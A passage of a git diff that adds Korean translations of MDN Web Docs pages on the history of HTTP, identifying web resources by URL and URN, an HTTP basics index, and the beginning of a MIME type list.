문서들을 전송하는 기능이 추가되었습니다({{HTTPHeader("Content-Type")}} 덕분에).</li> +</ul> + +<p>다음은 일반적인 요청과 응답입니다:</p> + +<pre>GET /mypage.html HTTP/1.0 +User-Agent: NCSA_Mosaic/2.0 (Windows 3.1) + +200 OK +Date: Tue, 15 Nov 1994 08:12:31 GMT +Server: CERN/3.0 libwww/2.17 +Content-Type: text/html +<HTML> +A page with an image + <IMG SRC="/myimage.gif"> +</HTML></pre> + +<p>두 번재 커넥션에 의한 이미지를 내려받기 위한 요청과 그에 대한 응답입니다:</p> + +<pre>GET /myimage.gif HTTP/1.0 +User-Agent: NCSA_Mosaic/2.0 (Windows 3.1) + +200 OK +Date: Tue, 15 Nov 1994 08:12:32 GMT +Server: CERN/3.0 libwww/2.17 +Content-Type: text/gif +<em>(image content)</em></pre> + +<p>이런 새로운 기능들은 합의된 노력들로써 도입되지는 않았지만 1991년부터 1995년까지의 기간 동안 일단 해보자는 접근법으로 이루어졌습니다: 서버와 브라우저에 기능을 추가한 뒤, 그것이 관심을 끄는지 지켜보았습니다. 수많은 상호작용의 문제는 일반적이었습니다. 1996년 11월에, 이런 괴로운 문제를 해결하기 위해, 일반적인 실제 내용을 설명하는 정보 문서는 {{RFC(1945)}}에 공개되었습니다. 이것이 HTTP/1.0의 정의이며, 용어의 좁은 의미에서 공식적인 표준이 아니라는 것은 주목할 만한 일입니다.</p> + +<h2 id="HTTP1.1_–_표준_프로토콜">HTTP/1.1 – 표준 프로토콜</h2> + +<p>1995부터 다양한 HTTP/1.0 구현이 동시에 진행되어, 그 이듬해 HTTP/1.0 문서 출간 전까지, 합당한 표준화가 진행 중에 있었습니다. HTTP의 첫번째 표준 버전인 HTTP/1.1은 HTTP/1.0이 나온지 몇 달 안되서 1997년 초에 공개되었습니다.</p> + +<p>HTTP/1.1은 모호함을 명확하게 하고 많은 개선 사항들을 도입했습니다:</p> + +<ul> + <li>커넥션이 재사용될 수 있게 하여, 탐색된 단일 원본 문서 내로 임베드된 리소스들을 디스플레이하기 위해 사용된 커넥션을 다시 열어 시간을 절약하게 하였습니다.</li> + <li>파이프라이닝을 추가하여, 첫번째 요청에 대한 응답이 완전히 전송되기 이전에 두번째 요청 전송을 가능케 하여, 커뮤니케이션 레이턴시를 낮췄습니다.</li> + <li>청크된 응답 또한 지원됩니다.</li> + <li>추가적인 캐시 제어 메커니즘이 도입되었습니다.</li> + <li>언어, 인코딩 혹은 타입을 포함한 컨텐츠 협상이 도입되어, 클라이언트와 서버로 하여금 교환하려는 가장 적합한 컨텐츠에 대한 동의를 가능케 했습니다.</li> + <li>{{HTTPHeader("Host")}} 헤더 덕분에, 동일 IP 주소에 다른 도메인을 호스트하는 기능이 서버 코로케이션을 가능케 합니다.</li> +</ul> + +<p>다음은 하나의 단일 커넥션을 통한 요청의 전형적인 전체 흐름의 예시입니다:</p> + +<pre>GET /en-US/docs/Glossary/Simple_header HTTP/1.1 +Host: developer.mozilla.org +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate, br +Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header + +200 OK +Connection: Keep-Alive +Content-Encoding: gzip +Content-Type: text/html; charset=utf-8 +Date: Wed, 20 Jul 2016 10:55:30 GMT +Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a" +Keep-Alive: timeout=5, max=1000 +Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT +Server: Apache +Transfer-Encoding: chunked +Vary: Cookie, Accept-Encoding + +<em>(content)</em> + + +GET /static/img/header-background.png HTTP/1.1 +Host: developer.cdn.mozilla.net +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 +Accept: */* +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate, br +Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header + +200 OK +Age: 9578461 +Cache-Control: public, max-age=315360000 +Connection: keep-alive +Content-Length: 3077 +Content-Type: image/png +Date: Thu, 31 Mar 2016 13:34:46 GMT +Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT +Server: Apache + +<em>(image content of 3077 bytes)</em></pre> + +<p>HTTP/1.1는 1997년 1월에 {{rfc(2068)}}에서 처음 공개되었습니다.</p> + +<h2 id="15년_넘게_진행된_확장">15년 넘게 진행된 확장</h2> + +<p>(새로운 헤더 혹은 메서드를 생성하기 쉬운) 확장성 덕분에, 그리고 1999년 6월에 공개된 {{RFC("2616")}}과 HTTP/2 릴리즈의 예견 속에서 2014년 6월에 공개된 {{RFC("7230")}}-{{RFC("7235")}} 시리즈, 그런 두번에 걸친 리비전을 통해 정재되었에도, 이 프로토콜은 15년 넘도록 극도로 안정성을 유지해왔습니다.</p> + +<h3 id="보안_전송을_위한_HTTP_사용">보안 전송을 위한 HTTP 사용</h3> + +<p>HTTP에 일어났던 가장 큰 변화는 1994년 말에 이미 완료되었습니다. 기본적인 TCP/IP 스택을 통해 HTTP를 전송하는 대신에, 넷스케이프 커뮤니케이션은 그것의 토대 위에 추가적인 암호화된 전송 계층인 SSL을 만들어냈습니다. SSL 1.0은 회사 외부로 릴리즈된 적이 없으며, SSL 2.0과 그것의 후계자인 SSL 3.0과 SSL 3.1은 서버와 클라이언트 간에 교환된 메시지 인증을 암호화하고 보장하여 e-커머스 웹 사이트를 만들어내도록 했습니다. SSL은 표준 트랙 상에 놓여져 있었고 마침내 TLS가 되어, 성공적으로 취약성을 종식시키는 1.0, 1.1 그리고 1.2 버전이 나와있습니다. TLS 1.3은 현재 진행 중에 있습니다.</p> + +<p>같은 시간 동안, 암호화된 전송 계층에 대한 필요성이 대두되었습니다: 웹은 광고주, 불특정 개인, 혹은 범죄자가 다른 사람인척 가장하거나 전송된 데이터를 수정된 데이터로 대치시키고자, 개인 정보를 빼내려고 경쟁하는 정글 속에, 거의 학문적인 네트워크의 상대적인 신뢰를 남겨두었습니다. HTTP 상에서 만들어진 애플리케이션들이 주소록, 이메일 혹은 사용자의 지리적 위치와 같은 수 많은 개인 정보에 접근하는 등 점점 더 강력해짐에 따라, TLS의 필요성은 e-커머스 사용 케이스 외에 여기 저기서 나타나게 되었습니다.</p> + +<h3 id="복잡한_애플리케이션을_위한_HTTP_사용">복잡한 애플리케이션을 위한 HTTP 사용</h3> + +<p>웹에 대한 Tim Berners-Lee의 본래 비전은 읽기 전용의 매체는 아니었습니다. 그는 사람들이 문서를 원격으로 추가하거나 이동시킬 수 있는, 분산된 파일 시스템의 한 종류로 웹을 상상했었습니다. 1996 쯤, HTTP는 저작을 허용하도록 확장되었으며 WebDAV라고 불리는 표준이 만들어졌습니다. 그것은 주소록 개체들을 다루기 위한 CardDAV 그리고 달력을 다루기 위한 CalDav와 같은 특정 애플리케이션들로 더 확장되었습니다. 그러나 이런 모든 *DAV 확장들은 한 가지 결점을 갖고 있었습니다: 꽤 복잡한, 사용하고 있는 서버에 의해 구현되어야만 한다는 것이었죠. 웹 영역에서 그것들을 사용하는 것은 극비로 남겨져 있었습니다.</p> + +<p>2000년에, HTTP 사용에 대한 새로운 패턴이 고안되었습니다: {{glossary("REST", "representational state transfer")}} (혹은 REST). API에 의해 유도되는 액션들은 새로운 HTTP 메서드 뿐만 아니라, 기초적인 HTTP/1.1 메서드를 이용한 특정 URI 접근에 의해서도 더 이상 전달되지 않았습니다. 이것은 모든 웹 애플리케이션으로 하여금 브라우저나 서버의 갱신없이 데이터 탐색과 수정을 허용하는 API 제공을 가능케했습니다: 필요로 하는 모든 것은 표준 HTTP/1.1을 통해 웹 사이트에 의해 서브되는 파일 내로 임베드되는 것이었습니다. REST 모델의 단점은 각각의 웹사이트가 자신의 비표준 RESTful API를 정의하고 그에 대한 전권을 가진다는 사실에 있습니다; *DAV 확장과는 다르게 클라이언트와 서버들은 상호작용이 가능합니다. RESTful API들은 2010년에 들어 매우 일반적인 게 되었습니다.</p> + +<p>2005년부터, 웹 페이지에서 사용 가능한 API 집합들이 급격히 늘어나게 되었고 이들 API 중 몇몇은, 거의 새로운 특성화된 HTTP 헤더로, 특정한 목적을 위해 HTTP 프로토콜에 확장을 만들어냈습니다:</p> + +<ul> + <li><a href="/en-US/docs/Web/API/Server-sent_events">서버 전송 이벤트</a>, 서버가 브라우저로 이따금씩 보내는 메시지를 푸쉬할 수 있는 곳.</li> + <li><a href="/en-US/docs/Web/API/WebSocket_API">웹소켓</a>, 기존 HTTP 커넥션을 업그레이드하여 만들 수 있는 새로운 프로토콜.</li> +</ul> + +<h3 id="웹의_보안_모델_완화">웹의 보안 모델 완화</h3> + +<p>HTTP는 웹의 보안 모델인 <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin 정책</a>에서 독립되어 있습니다. 사실, 현재의 웹 보안 모델은 HTTP이 만들어진 이후에 개발되어 왔습니다! 몇 년에 걸쳐, 이 정책의 몇 가지 정책을 고무시키기 위해 확실한 제약사항 아래 허용함으로써, 좀 더 관대해지도록 하는 것이 유용하다는 것을 증명해왔습니다. 제약사항이 얼마나 그리고 언제 리프트될지는 HTTP 헤더의 새로운 묶음들을 사용하는 서버부터 클라이언트에 의해 전도됩니다. 이러한 내용들은 <a href="/en-US/docs/Glossary/CORS">Cross-Origin 리소스 공유</a> (CORS) 혹은 <a href="/en-US/docs/Web/Security/CSP">컨텐츠 보안 정책</a> (CSP)과 같은 스펙 내에 정의되어 있습니다.</p> + +<p>이런 커다란 확장에 덧붙여, 다른 많은 헤더들이, 때로는 실험적으로만, 추가되어 오고 있습니다. 주목할 만한 헤더들은 프라이버시를 제어하기 위한 Do Not Track ({{HTTPHeader("DNT")}}) 헤더, {{HTTPHeader("X-Frame-Options")}}, 혹은 {{HTTPHeader('Upgrade-Insecure-Request')}}이 있고, 그 외에도 수많은 헤더들이 존재합니다.</p> + +<h2 id="HTTP2_–_더_나은_성능을_위한_프로토콜">HTTP/2 – 더 나은 성능을 위한 프로토콜</h2> + +<p>몇 년에 걸쳐, 웹 페이지는 매우 복잡해지면서, 종종 진정한 애플리케이션이 됩니다. 디스플레이되는 시각적 미디어의 양에 덧붙여 상호작용을 추가하기 위한 스크립트의 양과 크기는 점점 더 많이 증가하고 있습니다: 더 많은 데이터들이 더 많은 요청 너머로 전송되고 있습니다. HTTP/1.1 커넥션은 올바른 순서로 전송되는 요청을 필요로 합니다. 또한, 몇몇 병렬 커넥션이 이론적으로 사용 가능한 경우(일반적으로 5와 8 사이에서), 여전히 많은 양의 오버헤드와 복잡도가 남아 있습니다. 예를 들어, HTTP 파이프라이닝은 디플로이 악몽임이 확실해졌습니다.</p> + +<p>2010년 전반기에, Google은 실험적인 SPDY 프로토콜을 구현하여, 클라이언트와 서버 간의 데이터 교환을 대체할 수단을 실증하였습니다. 그것은 브라우저와 서버 측 모두에 있어 많은 관심을 불러일으켰습니다. 응답성 증가 능력을 입증하고 전송된 데이터 중복에 관한 문제를 해결하면서, SPDY는 HTTP/2 프로토콜의 기초로써 기여했습니다.</p> + +<p>HTTP/2 프로토콜은 HTTP/1.1 버전과 다른 몇가지 근본적인 차이점을 가지고 있습니다:</p> + +<ul> + <li>그것은 텍스트 프로토콜이라기 보다는 이진 프로토콜입니다. 더 이상 읽을 수도 없고 수작업을 만들어낼 수 없습니다; 이런 결점에 대한 보상으로, 새로운 최적화 기술이 구현될 수 있습니다.</li> + <li>병렬 요청이 동일한 커넥션 상에서 다루어질 수 있는 다중화 프로토콜로, 순서를 제거해주고 HTTP/1.x 프로토콜의 제약사항을 막아줍니다.</li> + <li>전송된 데이터의 분명한 중복과 그런 데이터로부터 유발된 불필요한 오버헤드를 제거하면서, 연속된 요청 사이의 매우 유사한 내용으로 존재하는 헤더들을 압축시킵니다.</li> + <li>서버로 하여금 사전에 클라이언트 캐시를 서버 푸쉬라고 불리는 메커니즘에 의해, 필요하게 될 데이터로 채워넣도록 허용합니다.</li> +</ul> + +<p>2015년 5월에 공식적으로 표준화된, HTTP/2는 큰 성공을 거두었습니다: 2016년 6월, 모든 웹 사이트 중 8.7%<sup><a href="https://w3techs.com/technologies/details/ce-http2/all/all">[1]</a></sup>가 이미 사용 중에 있고, 이것은 모든 요청의 68%<sup><a href="https://www.keycdn.com/blog/http2-statistics/">[2]</a> </sup>이상을 나타냅니다. 인터넷 상에서 전송 오버헤드 감소로 많은 돈을 절약하는 높은 트래픽의 웹 사이트들은 이 프로토콜을 급속히 받아들이고 있습니다.</p> + +<p>이러한 급격한 채택은 HTTP/2가 웹 사이트와 애플리케이션의 채택이 필요하지 않았기에 가능했습니다: HTTP/1.1을 사용할지 HTTP/2를 사용할지 고민할 필요가 없어졌습니다. 최신 브라우저와 통신하는 최신의 서버를 갖는 것은 프로토콜 사용을 활성화하는 것만으로 충분합니다: 어느 정도의 제한된 액터 세트만이 HTTP/2 채택을 불러일으키는데 필요했으며 브라우저와 서버 버전이 교체됨에 따라, 웹 개발자의 투입없이도 HTTP/2의 사용은 자연스럽게 증가했습니다.</p> + +<h2 id="차세대-HTTP2로의_진화">차세대-HTTP/2로의 진화</h2> + +<p>HTTP는 HTTP/2의 릴리즈와 함께 진화를 멈추지 않았습니다. HTTP/1.x처럼, 확장성은 여전히 새로운 기능들을 추가하는데 사용되고 있습니다. 주목할 만한 중요성에 있어 2016년에 나타난 HTTP의 새로운 확장들을 들 수 있습니다:</p> + +<ul> + <li>{{HTTPHeader("Alt-Svc")}} 지원은 좀 더 영리한 {{Glossary("CDN")}} 메커니즘을 따라, 신분 증명의 개념과 주어진 자원의 위치를 분리하도록 해줍니다.</li> + <li>{{HTTPHeader("Client-Hints")}}의 도입으로 브라우저 혹은 클라이언트가 요구사항이나 서버의 하드웨어 제약사항에 관한 정보를 사전에 미리 주고 받을 수 있게 되었습니다.</li> + <li>{{HTTPHeader("Cookie")}} 내에 보안 관련 접두사 도입은 보안 쿠키가 변경되지 않았다는 것을 보장하는데 도움을 줍니다.</li> +</ul> + +<p>HTTP의 진화는 그것의 확장성과 단순함이 예측 불가능한 애플리케이션과 프로토콜 채택을 만들어내고 있다는 것을 보여줍니다. 오늘날 HTTP가 사용되는 환경은 1990년 초에 상상하던 것과는 완전히 다릅니다. HTTP 본래의 설계가 걸작이 되었음을 지난 25년 넘게 호환되지 않는 진화의 요구없이 웹을 진화시킴으로 증명했습니다. 25년 넘게 HTTP의 성공을 만들어 온 유연함과 확장성을 유지하는 동시에, 수년 넘게 밝혀진 많은 결함들을 수정한 덕택에, HTTP/2의 등장은 프로토콜에 대한 밝은 미래를 암시하는 것처럼 보입니다.</p> diff --git a/files/ko/web/http/basics_of_http/identifying_resources_on_the_web/index.html b/files/ko/web/http/basics_of_http/identifying_resources_on_the_web/index.html new file mode 100644 index 0000000000..ddf7faa316 --- /dev/null +++ b/files/ko/web/http/basics_of_http/identifying_resources_on_the_web/index.html @@ -0,0 +1,167 @@ +--- +title: 웹 리소스 식별 +slug: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web +translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">HTTP 요청 대상을 "리소스"라고 부르는데, 그에 대한 본질을 이 이상으로 정의할 수 없습니다; 그것은 문서, 사진 또는 다른 어떤 것이든 될 수 있습니다. 각 리소스는 리소스 식별을 위해 HTTP 전체에서 사용되는 Uniform Resource Identifier ({{Glossary("URI")}})에 의해 식별됩니다.</p> + +<p>웹에서 리소스에 대한 식별과 위치는 대부분 단일 URL(Uniform Resource Locator, URI의 한 종류)로 제공됩니다. 그러나 때로 식별과 위치가 동일한 URI로 제공되지 않는데에는 이유가 있습니다: 요청된 리소스에 대해 클라이언트가 다른 위치에서 접근하도록 해야 할 경우, HTTP는 특정 HTTP 헤더인 {{HTTPHeader("Alt-Svc")}}을 사용합니다.</p> + +<h2 id="URLs_그리고_URNs">URLs 그리고 URNs</h2> + +<h3 id="URLs">URLs</h3> + +<p>URI의 가장 일반적인 형식은 <em>웹 주소</em>라고하는 Uniform Resource Locator ({{Glossary("URL")}})입니다.</p> + +<pre>https://developer.mozilla.org +https://developer.mozilla.org/en-US/docs/Learn/ +https://developer.mozilla.org/en-US/search?q=URL</pre> + +<p>그런 URL 중 어떤 것이든 당신의 브라우저 주소 표시줄에 입력하여 그와 연관된 페이지(리소스)를 로드하도록 지정할 수 있습니다.</p> + +<p>URL은 서로 다른 파트들로 구성되며, 어떤 것들은 필수이며 그 외에는 선택 사항입니다. 좀 더 복잡한 예제는 다음과 같습니다:</p> + +<pre>http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument</pre> + +<h3 id="URNs">URNs</h3> + +<p>URN은 개별적인 네임스페이스 내에서 이름에 의해 리소스를 식별하는 URI를 말합니다.</p> + +<pre>urn:isbn:9780141036144 +urn:ietf:rfc:7230 +</pre> + +<p>위 두 개의 URN은 다음 내용을 나타냅니다</p> + +<ul> + <li>George Orwell이 쓴 1984년이라는 책</li> + <li>IETF 스펙 문서 7230, Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing.</li> +</ul> + +<h2 id="Uniform_Resource_Identifiers_(URIs)_구문">Uniform Resource Identifiers (URIs) 구문</h2> + +<h3 id="스킴_혹은_프로토콜">스킴 혹은 프로토콜</h3> + +<dl> + <dt><img alt="Protocol" src="https://mdn.mozillademos.org/files/8013/mdn-url-protocol@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>http://</code> 는 프로토콜입니다. 브라우저가 사용해야 하는 프로토콜을 나타냅니다. 일반적으로 그것은 HTTP 프로토콜이거나 혹은 보안이 적용된 버전인 HTTPS일 겁니다. 웹은 이들 중 하나를 반드시 필요로 하지만, 브라우저들은 <code>mailto:</code> (메일 클라이언트를 열기 위해) 혹은 파일 전송을 다루기 위한 <code>ftp:</code> 와 같은 다른 프로토콜도 처리하는 방법을 알고 있으므로 그런 프로토콜들을 보게 되더라도 놀라지마세요. 일반적인 스킴은 다음과 같습니다: </dd> +</dl> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">설명</th> + <th scope="col">설명</th> + </tr> + </thead> + <tbody> + <tr> + <td>data</td> + <td><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">데이터 URIs</a></td> + </tr> + <tr> + <td>file</td> + <td>호스트가 지정하는 파일 이름들</td> + </tr> + <tr> + <td>ftp</td> + <td><a href="/en-US/docs/Glossary/FTP">파일 전송 프로토콜</a></td> + </tr> + <tr> + <td>http/https</td> + <td><a href="/en-US/docs/Glossary/HTTP">하이퍼텍스트 전송 프로토콜 (보안)</a></td> + </tr> + <tr> + <td>mailto</td> + <td>전자 메일 주소</td> + </tr> + <tr> + <td>ssh</td> + <td>보안 쉘</td> + </tr> + <tr> + <td>tel</td> + <td>전화번호</td> + </tr> + <tr> + <td>urn</td> + <td>Uniform Resource Names</td> + </tr> + <tr> + <td>view-source</td> + <td>리소스의 소스 코드</td> + </tr> + <tr> + <td>ws/wss</td> + <td>(암호화된) <a href="/en-US/docs/Web/API/WebSockets_API">웹소켓</a> 연결</td> + </tr> + </tbody> +</table> + +<h3 id="도메인_이름(Authority)">도메인 이름(Authority)</h3> + +<dl> + <dt><img alt="Domaine Name" src="https://mdn.mozillademos.org/files/8015/mdn-url-domain@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>www.example.com</code> 은 네임스페이스를 관리하는 도메인 이름 혹은 권한입니다. 그것은 어떤 웹 서버가 요청을 받게 될지를 나타냅니다. 혹은, {{Glossary("IP address")}}를 직접 사용할 수도 있지만, 불편하므로 웹에서 그리 자주 사용되지는 않습니다.</dd> +</dl> + +<h3 id="포트">포트</h3> + +<dl> + <dt><img alt="Port" src="https://mdn.mozillademos.org/files/8017/mdn-url-port@x2.png" style="height: 70px; width: 440px;"></dt> + <dd>이 예제에서 <code>:80</code> 는 포트를 말합니다. 그것은 웹 서버 상의 리소스에 접근하는데 사용되는 기술적인 "문(gate)"을 나타냅니다. 리소스에 접근하기 위한 권한을 얻기 위해 웹 서버가 HTTP 프로토콜의 표준 포트(HTTP는 80, HTTPS는 443)를 사용하는 경우 일반적으로 생략됩니다. 그게 아니라면 포트 입력은 필수입니다.</dd> +</dl> + +<h3 id="경로">경로</h3> + +<dl> + <dt><img alt="Path to the file" src="https://mdn.mozillademos.org/files/8019/mdn-url-path@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>/path/to/myfile.html</code> 는 웹 서버 상의 리소스 경로입니다. 초기 웹에서, 이와 같은 경로는 웹 서버 상에 있는 파일의 실제 위치를 나타냈었습니다. 오늘날에는, 대부분 물리적인 실제 위치를 사용하지 않고 웹 서버에 의해 다뤄지는 추상화를 사용합니다.</dd> +</dl> + +<h3 id="쿼리">쿼리</h3> + +<dl> + <dt><img alt="Parameters" src="https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>?key1=value1&key2=value2</code> 는 웹 서버에 제공되는 추가적인 파라메터입니다. 이런 파라메터들은 <code>&</code> 심볼로 구분되는 키/값 쌍의 목록입니다. 웹 서버는 리소스를 사용자에게 반환하기 이전에 무언가 추가적인 작업을 하기 위해 이 파라메터들을 사용할 수 있습니다. 각각의 웹 서버는 파라메터들을 따르는 자신만의 규칙을 가지며, 특정 웹서버가 파라메터들을 다루는 방식을 알기 위한 신뢰할 수 있는 유일한 방법은 웹 서버 소유자에게 요청하는 것입니다.</dd> +</dl> + +<h3 id="프래그먼트">프래그먼트</h3> + +<dl> + <dt><img alt="Anchor" src="https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>#SomewhereInTheDocument</code> 는 리소스 자체의 다른 부분을 가리키는 앵커입니다. 앵커는 리소스 내에서의 "북마크"의 한 종류를 나타내며, 브라우저에게 그런 "북마크된" 지점에 위치한 컨텐츠를 보여주기 위한 방법을 제공합니다. 예를 들자면, HTML 문서 상에서, 브라우저는 앵커가 정의된 지점으로 스크롤될 것입니다; 비디오 혹은 오디오 문서에서, 브라우저는 앵커가 나타내는 시점으로 이동하려고 할 겁니다. 프래그먼트 식별자로 알려져 있기도 한, # 뒤의 부분은 요청과 함께 서버에 전달되지 않는다는 것을 알아두어야 합니다.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>https://developer.mozilla.org/en-US/docs/Learn +tel:+1-816-555-1212 +git@github.com:mdn/browser-compat-data.git +ftp://example.org/resource.txt +urn:isbn:9780141036144 +</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">URL이란 무엇인가?</a></li> + <li><a href="http://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml">URI 스킴에 대한 IANA 목록</a></li> +</ul> diff --git a/files/ko/web/http/basics_of_http/index.html b/files/ko/web/http/basics_of_http/index.html new file mode 100644 index 0000000000..47028717ec --- /dev/null +++ b/files/ko/web/http/basics_of_http/index.html @@ -0,0 +1,51 @@ +--- +title: HTTP 기본 +slug: Web/HTTP/Basics_of_HTTP +tags: + - HTTP + - NeedsTranslation + - Overview + - TopicStub +translation_of: Web/HTTP/Basics_of_HTTP +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP는 상당히 확장 가능한 프로토콜입니다. 자원과 URI의 개념, 메시지의 단순한 구조, 통신 흐름을 위한 클라이언트-서버 구조와 같은 몇 가지 기본 개념에 의존합니다. 이러한 기본 개념을 토대로, 새로운 HTTP 메서드나 헤더의 생성을 통해 새로운 기능과 새로운 의미를 더하는 수많은 확장들이 수년간 생겨났습니다.</p> + +<h2 id="항목">항목</h2> + +<dl> + <dt><a href="/ko/docs/Web/HTTP/Overview">HTTP의 개요</a></dt> + <dd>HTTP는 무엇이고 웹 아키텍처에서 그 역할은 무엇인지, 프로토콜 스택에서의 위치를 서술하고 있습니다.</dd> + <dt><a href="/ko/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">HTTP의 진화</a></dt> + <dd>HTTP는 1990년대 초반에 만들어지고 여러번 확장되어 왔습니다. 이 항목에서는 HTTP의 역사에 대해서 훑어보고 HTTP/0.9, HTTP/1.0, HTTP/1.1 그리고 수년에 걸쳐 중요하지는 않지만 새로운 기능이 소개된 현대의 HTTP/2에 대해서 서술하고 있습니다.</dd> + <dt><strong>HTTP 버전 협상</strong></dt> + <dd>클라이언트와 서버가 어떻게 특정 HTTP 버전을 협상하는지 그리고 갑자기 프로토콜 버전이 업그레이드 된 것이 사용되었을 때에는 어떻게 하는지 설명합니다.</dd> + <dt><a href="/ko/docs/Web/HTTP/Resources_and_URIs">리소스와 URIs</a></dt> + <dd>리소스에 대한 개념, 지시자, 그리고 웹에서의 위치에 대해서 간략히 소개합니다.</dd> + <dt><a href="/ko/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">웹 리소스 식별</a></dt> + <dd>웹 리소스가 어떻게 참조되는지 그리고 어떻게 것을 찾는지에 대해서 서술합니다.</dd> + <dt><a href="/ko/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">데이터 URIs</a></dt> + <dd>특정 종류의 URI는 직접 대표하는 리소스를 포함합니다(embed). 데이터 URIs는 매우 편리하지만 위험성을 가지고 있습니다.</dd> + <dt>리소스 URLs</dt> + <dd>리소스 URLs, <code>resource:</code>가 접두사로 붙어있는 URLs인 스키마, 파이어폭스와 파이어폭스 확장 프로그램들에서 내적으로 리소스를 로드하기 위해서 사용됩니다, 하지만 몇몇 브라우저로 연결할 수 있는 사이트의 정보도 사용할 수 있습니다.</dd> + <dt>리소스의 신분과 위치를 분리: the Alt-Svc HTTP header</dt> + <dd>대부분의 경우, 웹 리소스에서 신분과 위치는 공유됩니다. 이것은 {{HTTPHeader("Alt-Svc")}} 헤더를 사용함으로써 바뀔 수 있습니다.</dd> + <dt><a href="/ko/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 타입</a></dt> + <dd>HTTP/1.0 부터 다른 타입의 콘텐츠를 전송할 수 있습니다. 이 항목에서는 어떻게 {{HTTPHeader("Content-Type")}} 헤더를 사용하여 이것이 완료될 수 있는지 그리고 MIME 표준에 대해서 설명합니다.</dd> + <dt><a href="/ko/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">www와 비-www URL 중에서 선택하기</a></dt> + <dd>www 접두사를 사용한 도메인과 그렇지 않은 도메인에 대해서 조언합니다. 이 항목에서는 선택의 결과에 더하여 그것을 어떻게 만드는지 설명합니다.</dd> + <dt>HTTP 세션의 흐름</dt> + <dd>이 기초에 대한 항목은 일반적인 HTTP 세션에 대해서 서술합니다: 당신이 브라우저의 링크를 클릭하였을 때 무슨 일이 일어나는지에 대해 ...</dd> + <dt><a href="/ko/docs/Web/HTTP/Messages">HTTP 메시지</a></dt> + <dd>HTTP 메시지는 요청 혹은 응답을 하는 도중에 전송됩니며, 아주 확실한 구조를 가지고 있습니다;<br> + 이 간략한 항목에서는 그 구조, 목적과 가능성에 대해서 서술합니다.</dd> + <dt>HTTP/2에서의 프레임과 메시지 구조</dt> + <dd>HTTP/2는 HTTP/1.x 메시지를 바이너리 프레임에 넣어 대신하고 캡슐화를 합니다. 이 항목은 그 프레임의 구조, 목적, 그리고 인코드 방법에 대해서 설명합니다.</dd> + <dt><a href="/ko/docs/Web/HTTP/Connection_management_in_HTTP_1.x">HTTP/1.x의 커넥션 관리</a></dt> + <dd>HTTP/1.1은 HTTP가 영구 연결과 파이프라이닝을 지원한 첫 버전입니다. 이 항목은 두 컨셉에 대해서 설명합니다.</dd> + <dt>HTTP/2에서의 연결 관리</dt> + <dd>HTTP/2는 어떻게 연결이 생성되고 관리되는지에 대해서 완벽하게 재고되었습니다: 이 항목은 어떻게 HTTP 프레임이 멀티플렉싱이 가능한지 그리고 이전 HTTP 버전에서 발생한 'head-of-time' 문제를 어떻게 풀었는지에 대해서 설명합니다.</dd> + <dt><a href="/ko/docs/Web/HTTP/Content_negotiation">콘텐츠 협상</a></dt> + <dd>브라우저에서 선언한 포맷, 언어, 또는 선호하는 인코딩 타입에 따라서 HTTP는 Accept-로 시작하는 HTTP 헤더 세트를 소개합니다. 이 항목은 어떻게 이러한 협상이 시작하는지, 어떻게 서버가 반응하기를 기대하는지 그리고 어떻게 가장 적절한 응답을 주는지에 대해서 설명합니다.</dd> +</dl> diff --git a/files/ko/web/http/basics_of_http/mime_types/common_types/index.html b/files/ko/web/http/basics_of_http/mime_types/common_types/index.html new file mode 100644 index 0000000000..7ac00ee7e9 --- /dev/null +++ b/files/ko/web/http/basics_of_http/mime_types/common_types/index.html @@ -0,0 +1,305 @@ +--- +title: MIME 타입의 전체 목록 +slug: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types +--- +<div>{{HTTPSidebar}}</div> + +<p>다음은 일반적인 확장자로 정렬된, 문서 타입과 관련된 MIME 타입의 포괄적인 목록입니다.</p> + +<p>두 개의 주요 MIME 타입은 기본 타입에 있어 중요한 역할을 합니다:</p> + +<ul> + <li><code>text/plain</code>는 텍스트 파일을 위한 기본값입니다. 텍스트 파일은 인간이 